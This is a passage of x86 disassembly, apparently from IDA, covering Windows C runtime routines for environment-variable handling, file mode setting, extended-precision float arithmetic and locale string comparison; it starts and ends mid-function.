jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DBA00, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43CFFC, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
; sub_425955+79j
pop edi
pop esi
pop ebp
retn
sub_425955 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_425A82 proc near ; CODE XREF: sub_425955+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43CFF8
cmp dword_43CF7C, edx
push esi
mov eax, offset dword_43CF78
jz short loc_425AB0
lea esi, [ecx+ecx*2]
lea esi, ds:43CF78h[esi*4]
loc_425AA4: ; CODE XREF: sub_425A82+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_425AB0
cmp [eax+4], edx
jnz short loc_425AA4
loc_425AB0: ; CODE XREF: sub_425A82+16j
; sub_425A82+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43CF78h[ecx*4]
cmp eax, ecx
jnb short loc_425AC4
cmp [eax+4], edx
jz short locret_425AC6
loc_425AC4: ; CODE XREF: sub_425A82+3Bj
xor eax, eax
locret_425AC6: ; CODE XREF: sub_425A82+40j
retn
sub_425A82 endp
; =============== S U B R O U T I N E =======================================
sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p
arg_0 = dword ptr 4
cmp dword_4DCFD0, 0
push ebx
push esi
mov esi, dword_4DB950
push edi
jz short loc_425B3E
test esi, esi
jnz short loc_425AF8
cmp dword_4DB958, esi
jz short loc_425B3E
call sub_425E95
test eax, eax
jnz short loc_425B3E
mov esi, dword_4DB950
test esi, esi
jz short loc_425B3E
loc_425AF8: ; CODE XREF: sub_425AC7+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_425B3E
push ebx
call sub_41AFE0
pop ecx
mov edi, eax
loc_425B09: ; CODE XREF: sub_425AC7+6Dj
mov eax, [esi]
test eax, eax
jz short loc_425B3E
push eax
call sub_41AFE0
cmp eax, edi
pop ecx
jbe short loc_425B31
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_425B31
push edi
push ebx
push eax
call sub_425E56
add esp, 0Ch
test eax, eax
jz short loc_425B36
loc_425B31: ; CODE XREF: sub_425AC7+51j
; sub_425AC7+59j
add esi, 4
jmp short loc_425B09
; ---------------------------------------------------------------------------
loc_425B36: ; CODE XREF: sub_425AC7+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_425B40
; ---------------------------------------------------------------------------
loc_425B3E: ; CODE XREF: sub_425AC7+10j
; sub_425AC7+1Cj ...
xor eax, eax
loc_425B40: ; CODE XREF: sub_425AC7+75j
pop edi
pop esi
pop ebx
retn
sub_425AC7 endp
; =============== S U B R O U T I N E =======================================
sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp
; sub_424F0A+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DCD80
jnb short loc_425BAB
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCC80[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_425BAB
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_425B84
and cl, 7Fh
jmp short loc_425B91
; ---------------------------------------------------------------------------
loc_425B84: ; CODE XREF: sub_425B44+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_425B9F
or cl, 80h
loc_425B91: ; CODE XREF: sub_425B44+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425B44+48j
mov dword_4DB928, 16h
jmp short loc_425BB5
; ---------------------------------------------------------------------------
loc_425BAB: ; CODE XREF: sub_425B44+Bj
; sub_425B44+27j
mov dword_4DB928, 9
loc_425BB5: ; CODE XREF: sub_425B44+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_425B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425BBA proc near ; CODE XREF: sub_4256C2+165p
; sub_425DDA+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_425DBA
cmp cx, 7FFFh
jnb loc_425DBA
cmp dx, 0BFFDh
ja loc_425DBA
cmp dx, 3FBFh
ja short loc_425C23
xor eax, eax
jmp short loc_425C5D
; ---------------------------------------------------------------------------
loc_425C23: ; CODE XREF: sub_425BBA+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_425C45
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_425C45
xor eax, eax
cmp [esi+4], eax
jnz short loc_425C47
cmp [esi], eax
jnz short loc_425C47
jmp loc_425DB4
; ---------------------------------------------------------------------------
loc_425C45: ; CODE XREF: sub_425BBA+71j
; sub_425BBA+79j
xor eax, eax
loc_425C47: ; CODE XREF: sub_425BBA+80j
; sub_425BBA+84j
cmp cx, ax
jnz short loc_425C6A
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_425C6A
cmp [ebx+4], eax
jnz short loc_425C6A
cmp [ebx], eax
jnz short loc_425C6A
loc_425C5D: ; CODE XREF: sub_425BBA+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_425DD5
; ---------------------------------------------------------------------------
loc_425C6A: ; CODE XREF: sub_425BBA+90j
; sub_425BBA+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_425C7A: ; CODE XREF: sub_425BBA+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_425CCE
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_425C96: ; CODE XREF: sub_425BBA+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_425050
add esp, 0Ch
test eax, eax
jz short loc_425CC1
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_425CC1: ; CODE XREF: sub_425BBA+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_425C96
loc_425CCE: ; CODE XREF: sub_425BBA+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_425C7A
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_425D11
loc_425CEC: ; CODE XREF: sub_425BBA+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_425D0A
lea eax, [ebp+var_24]
push eax
call sub_4250CF
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_425CEC
loc_425D0A: ; CODE XREF: sub_425BBA+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_425D4A
loc_425D11: ; CODE XREF: sub_425BBA+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_425D4A
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_425D2A: ; CODE XREF: sub_425BBA+184j
test byte ptr [ebp+var_24], 1
jz short loc_425D33
inc [ebp+var_14]
loc_425D33: ; CODE XREF: sub_425BBA+174j
lea eax, [ebp+var_24]
push eax
call sub_4250FD
dec ebx
pop ecx
jnz short loc_425D2A
cmp [ebp+var_14], 0
jz short loc_425D4A
or byte ptr [ebp+var_24], 1
loc_425D4A: ; CODE XREF: sub_425BBA+155j
; sub_425BBA+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_425D61
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_425D96
loc_425D61: ; CODE XREF: sub_425BBA+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_425D93
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_425D8E
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_425D88
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D88: ; CODE XREF: sub_425BBA+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D8E: ; CODE XREF: sub_425BBA+1B5j
inc [ebp+var_20+2]
jmp short loc_425D96
; ---------------------------------------------------------------------------
loc_425D93: ; CODE XREF: sub_425BBA+1ABj
inc [ebp+var_24+2]
loc_425D96: ; CODE XREF: sub_425BBA+1A5j
; sub_425BBA+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_425DBA
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_425DB4: ; CODE XREF: sub_425BBA+86j
mov [esi+0Ah], ax
jmp short loc_425DD5
; ---------------------------------------------------------------------------
loc_425DBA: ; CODE XREF: sub_425BBA+42j
; sub_425BBA+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_425DD5: ; CODE XREF: sub_425BBA+ABj
; sub_425BBA+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_425BBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425DDA proc near ; CODE XREF: sub_4251F1+440p
; sub_4256C2+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43D478
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_425E53
jge short loc_425E02
mov eax, [ebp+arg_4]
mov ebx, offset dword_43D5D8
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_425E02: ; CODE XREF: sub_425DDA+16j
cmp [ebp+arg_8], ecx
jnz short loc_425E0D
mov eax, [ebp+arg_0]
mov [eax], cx
loc_425E0D: ; CODE XREF: sub_425DDA+2Bj
cmp [ebp+arg_4], ecx
jz short loc_425E53
push esi
push edi
loc_425E14: ; CODE XREF: sub_425DDA+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_425E4C
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_425E3F
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_425E3F: ; CODE XREF: sub_425DDA+57j
push esi
push [ebp+arg_0]
call sub_425BBA
pop ecx
pop ecx
xor ecx, ecx
loc_425E4C: ; CODE XREF: sub_425DDA+49j
cmp [ebp+arg_4], ecx
jnz short loc_425E14
pop edi
pop esi
loc_425E53: ; CODE XREF: sub_425DDA+14j
; sub_425DDA+36j
pop ebx
leave
retn
sub_425DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep
; sub_426332+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_425E63
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E63: ; CODE XREF: sub_425E56+7j
push dword_4DCD84
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_4DCFA4
call sub_425F03
add esp, 1Ch
test eax, eax
jnz short loc_425E90
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425E90: ; CODE XREF: sub_425E56+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_425E56 endp
; =============== S U B R O U T I N E =======================================
sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep
; sub_4261AB+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_4DB958
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_425EF6
mov ebx, dword_42717C
loc_425EAE: ; CODE XREF: sub_425E95+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_425EFE
push ebp
call sub_41B4D5
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_425EFE
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_425EFE
push edi
push [esp+18h+var_4]
call sub_4261AB
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_425EAE
loc_425EF6: ; CODE XREF: sub_425E95+11j
xor eax, eax
loc_425EF8: ; CODE XREF: sub_425E95+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_425EFE: ; CODE XREF: sub_425E95+29j
; sub_425E95+38j ...
or eax, 0FFFFFFFFh
jmp short loc_425EF8
sub_425E95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425F03 proc near ; CODE XREF: sub_425E56+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427CF0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_4DBC38, ebx
push 1
pop edi
jnz short loc_425F76
push edi
mov eax, offset dword_427940
push eax
push edi
push eax
push ebx
push ebx
call near ptr 2780000h
nop
test eax, eax
jz short loc_425F53
mov dword_4DBC38, edi
jmp short loc_425F76
; ---------------------------------------------------------------------------
loc_425F53: ; CODE XREF: sub_425F03+46j
push edi
mov eax, offset dword_4CB4DC
push eax
push edi
push eax
push ebx
push ebx
call near ptr 27806D8h
nop
test eax, eax
jz loc_42616C
mov dword_4DBC38, 2
loc_425F76: ; CODE XREF: sub_425F03+31j
; sub_425F03+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_425F8D
push esi
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_425F8D: ; CODE XREF: sub_425F03+78j
cmp [ebp+arg_14], ebx
jle short loc_425FA2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_425FA2: ; CODE XREF: sub_425F03+8Dj
mov eax, dword_4DBC38
cmp eax, 2
jnz short loc_425FC7
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 27806D8h
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FC7: ; CODE XREF: sub_425F03+A7j
cmp eax, edi
jnz loc_42616C
cmp [ebp+arg_18], ebx
jnz short loc_425FDC
mov eax, dword_4DB9F4
mov [ebp+arg_18], eax
loc_425FDC: ; CODE XREF: sub_425F03+CFj
cmp esi, ebx
jz short loc_425FE9
cmp [ebp+arg_14], ebx
jnz loc_426081
loc_425FE9: ; CODE XREF: sub_425F03+DBj
cmp esi, [ebp+arg_14]
jnz short loc_425FF6
loc_425FEE: ; CODE XREF: sub_425F03+13Cj
; sub_425F03+16Dj
push 2
loc_425FF0: ; CODE XREF: sub_425F03+146j
pop eax
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_425FF6: ; CODE XREF: sub_425F03+E9j
cmp [ebp+arg_14], edi
jle short loc_426002
loc_425FFB: ; CODE XREF: sub_425F03+151j
; sub_425F03+159j ...
mov eax, edi
jmp loc_42616E
; ---------------------------------------------------------------------------
loc_426002: ; CODE XREF: sub_425F03+F6j
cmp esi, edi
jg short loc_426047
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
nop
call near ptr 2A70000h
test eax, eax
jz loc_42616C
cmp esi, ebx
jle short loc_42604B
cmp [ebp+var_3C], 2
jb short loc_426047
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426047
loc_42602D: ; CODE XREF: sub_425F03+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426047
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426041
cmp cl, dl
jbe short loc_425FEE
loc_426041: ; CODE XREF: sub_425F03+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42602D
loc_426047: ; CODE XREF: sub_425F03+101j
; sub_425F03+120j ...
push 3
jmp short loc_425FF0
; ---------------------------------------------------------------------------
loc_42604B: ; CODE XREF: sub_425F03+11Aj
cmp [ebp+arg_14], ebx
jle short loc_426081
cmp [ebp+var_3C], 2
jb short loc_425FFB
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_425FFB
loc_42605E: ; CODE XREF: sub_425F03+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_425FFB
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426076
cmp cl, dl
jbe loc_425FEE
loc_426076: ; CODE XREF: sub_425F03+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42605E
jmp loc_425FFB
; ---------------------------------------------------------------------------
loc_426081: ; CODE XREF: sub_425F03+E0j
; sub_425F03+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
nop
call near ptr 29D0000h
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_42616C
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4260D0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4260D0: ; CODE XREF: sub_425F03+1B5j
cmp [ebp+var_24], ebx
jz loc_42616C
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_427180
call esi
test eax, eax
jz short loc_42616C
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_42616C
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42613B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42613B: ; CODE XREF: sub_425F03+224j
cmp edi, ebx
jz short loc_42616C
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 29D0000h
test eax, eax
jz short loc_42616C
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2780000h
nop
jmp short loc_42616E
; ---------------------------------------------------------------------------
loc_42616C: ; CODE XREF: sub_425F03+63j
; sub_425F03+C6j ...
xor eax, eax
loc_42616E: ; CODE XREF: sub_425F03+BFj
; sub_425F03+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_425F03 endp
; =============== S U B R O U T I N E =======================================
sub_426180 proc near ; CODE XREF: sub_422ACA+81p
; sub_425F03+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42619D
loc_426190: ; CODE XREF: sub_426180+1Bj
cmp byte ptr [eax], 0
jz short loc_42619D
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_426190
loc_42619D: ; CODE XREF: sub_426180+Ej
; sub_426180+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4261A8
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4261A8: ; CODE XREF: sub_426180+21j
mov eax, edx
retn
sub_426180 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4261AB proc near ; CODE XREF: sub_425E95+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_42620F
push 3Dh
push [ebp+arg_0]
call sub_4263F1
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_42620F
cmp [ebp+arg_0], esi
jz short loc_42620F
mov eax, dword_4DB950
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_4DB954
jnz short loc_4261F5
push eax
call sub_42638A
pop ecx
mov dword_4DB950, eax
loc_4261F5: ; CODE XREF: sub_4261AB+3Cj
cmp eax, edi
jnz short loc_42624D
cmp [ebp+arg_4], edi
jz short loc_426217
cmp dword_4DB958, edi
jz short loc_426217
call sub_425E95
test eax, eax
jz short loc_42624D
loc_42620F: ; CODE XREF: sub_4261AB+Dj
; sub_4261AB+22j ...
or eax, 0FFFFFFFFh
loc_426212: ; CODE XREF: sub_4261AB+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_4261AB+51j
; sub_4261AB+59j
cmp ebx, edi
jnz loc_42632B
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB950, eax
jz short loc_42620F
mov [eax], edi
cmp dword_4DB958, edi
jnz short loc_42624D
push 4
call sub_41B4D5
cmp eax, edi
pop ecx
mov dword_4DB958, eax
jz short loc_42620F
mov [eax], edi
loc_42624D: ; CODE XREF: sub_4261AB+4Cj
; sub_4261AB+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_4DB950
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426332
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4262AD
cmp dword ptr [edi], 0
jz short loc_4262AD
test ebx, ebx
jz short loc_4262A5
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B0B1
pop ecx
loc_42627F: ; CODE XREF: sub_4261AB+E2j
cmp dword ptr [edi], 0
jz short loc_42628F
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_42627F
; ---------------------------------------------------------------------------
loc_42628F: ; CODE XREF: sub_4261AB+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz short loc_4262DF
jmp short loc_4262DA
; ---------------------------------------------------------------------------
loc_4262A5: ; CODE XREF: sub_4261AB+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4262DF
; ---------------------------------------------------------------------------
loc_4262AD: ; CODE XREF: sub_4261AB+BDj
; sub_4261AB+C2j
test ebx, ebx
jnz short loc_42632B
test esi, esi
jge short loc_4262B7
neg esi
loc_4262B7: ; CODE XREF: sub_4261AB+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B202
pop ecx
test eax, eax
pop ecx
jz loc_42620F
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4262DA: ; CODE XREF: sub_4261AB+F8j
mov dword_4DB950, eax
loc_4262DF: ; CODE XREF: sub_4261AB+F6j
; sub_4261AB+100j
cmp [ebp+arg_4], 0
jz short loc_42632B
push [ebp+arg_0]
call sub_41AFE0
inc eax
inc eax
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_42632B
push [ebp+arg_0]
push esi
call sub_41BEB0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
nop
call near ptr 2770000h
push esi
call sub_41B0B1
pop ecx
loc_42632B: ; CODE XREF: sub_4261AB+6Ej
; sub_4261AB+104j ...
xor eax, eax
jmp loc_426212
sub_4261AB endp
; =============== S U B R O U T I N E =======================================
sub_426332 proc near ; CODE XREF: sub_4261AB+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_4DB950
push edi
mov eax, [esi]
test eax, eax
jz short loc_42636D
mov edi, [esp+8+arg_4]
loc_426344: ; CODE XREF: sub_426332+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_425E56
add esp, 0Ch
test eax, eax
jnz short loc_426363
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_42637D
test al, al
jz short loc_42637D
loc_426363: ; CODE XREF: sub_426332+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426344
loc_42636D: ; CODE XREF: sub_426332+Cj
mov eax, esi
sub eax, dword_4DB950
sar eax, 2
neg eax
loc_42637A: ; CODE XREF: sub_426332+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42637D: ; CODE XREF: sub_426332+2Bj
; sub_426332+2Fj
mov eax, esi
sub eax, dword_4DB950
sar eax, 2
jmp short loc_42637A
sub_426332 endp
; =============== S U B R O U T I N E =======================================
sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_426399
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_426399: ; CODE XREF: sub_42638A+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4263AB
loc_4263A1: ; CODE XREF: sub_42638A+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4263A1
loc_4263AB: ; CODE XREF: sub_42638A+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B4D5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4263CC
push 9
call sub_41DA29
pop ecx
loc_4263CC: ; CODE XREF: sub_42638A+38j
mov eax, [edi]
mov ebx, edi
loc_4263D0: ; CODE XREF: sub_42638A+5Bj
test eax, eax
jz short loc_4263E7
push eax
add ebx, 4
call sub_426464
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4263D0
; ---------------------------------------------------------------------------
loc_4263E7: ; CODE XREF: sub_42638A+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_42638A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_4DCD9C, 0
jnz short loc_42640C
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41BFB0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42640C: ; CODE XREF: sub_4263F1+Aj
mov ecx, [ebp+arg_0]
loc_42640F: ; CODE XREF: sub_4263F1+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426452
movzx edx, al
test byte_4DCEA1[edx], 4
jz short loc_42643E
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_426449
